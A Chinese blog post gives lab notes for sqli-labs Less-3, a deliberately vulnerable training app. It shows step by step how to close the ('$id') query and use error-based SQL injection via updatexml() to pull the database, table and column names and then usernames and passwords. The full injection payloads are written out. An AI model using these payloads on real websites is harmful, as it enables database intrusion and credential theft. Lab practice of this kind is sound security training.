欢迎光临
我们一直在努力

我的sqli-labs实战笔记(三):攻克Less-3 - 利用报错注入突破带括号的字符型漏洞

在上一关,我们刚攻克了思路直接、无需闭合的数字型注入(Less-2)。现在,我们将面对一个“熟悉的陌生人”:Less-3的页面乍一看和之前几乎一样,但它设置了一个巧妙的思维陷阱,让我们从无需闭合一步踏入需要闭合两个符号的复杂境地。

并且这一关另一个特别之处是:这一关不会直接返回用户名和密码,而是需要通过报错注入,在报错的时候带出我们想要的东西


  • 先用?id=1查询
  • 这样显示,由于这一关的特性,本身不会输出用户名和密码,所以这样就代表查询成功了

    2.判断闭合情况

    利用1’构造出来是’1’’) LIMIT 0,1 所以这里原来应该是id=(‘$id’) LIMIT 0,1

    验证一下:

    证明猜测合理;

    3.判断字段数:

    结果可知,字段数为3;

    4.因为这一关不能直接显示出用户名和密码,所以前两关的方法这一关不能用

    那么这里就涉及到新的知识点– 报错注入 了

    即将需要的信息通过报错的方法进行输出

    利用updatexml()函数进行报错注入

    /?id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) –+

    为什么可以这样?

    Updatexml()函数的格式应该是

    此处第二个参数不符合相应的格式所以会报错,   由于构造的有database(),会执行这部分的SQL语句,所以可以查询出数据库名称

    5.报错注入获得表名

    /?id=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) –+

    注:①select+from+where语句应该加上括号,保证这些只占concat()的一位

          ②所有table schema等等,只有from后最后一个需要加s

          ③不要拼写错误

    直接获得表名

    6.获取字段名

    ?id=-1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) –+

    注:单引号不要弄成中文的

    7.获取用户名和密码

    ?id=-1') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users where id<3),0x7e),1) –+

    注:①from后加的表名是security.users

        ②updatexml()函数只能显示32个字符,所以要分批查,利用where的筛选功能

    最后可以通过修改where后的筛选条件查询所有的用户信息

    到此这一关就完成了


    这一关与的不同就是双字符的闭合方式和报错注入,也是和前几关方法差不多,不过是拼接的SQL语句是在报错中

    后面几步的查询都比较麻烦,要注意不要少些或者漏掉引括号,concat()内的SQL语句要用括号单独隔出来

    赞(0)
    未经允许不得转载:171主机测评 » 我的sqli-labs实战笔记(三):攻克Less-3 - 利用报错注入突破带括号的字符型漏洞
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址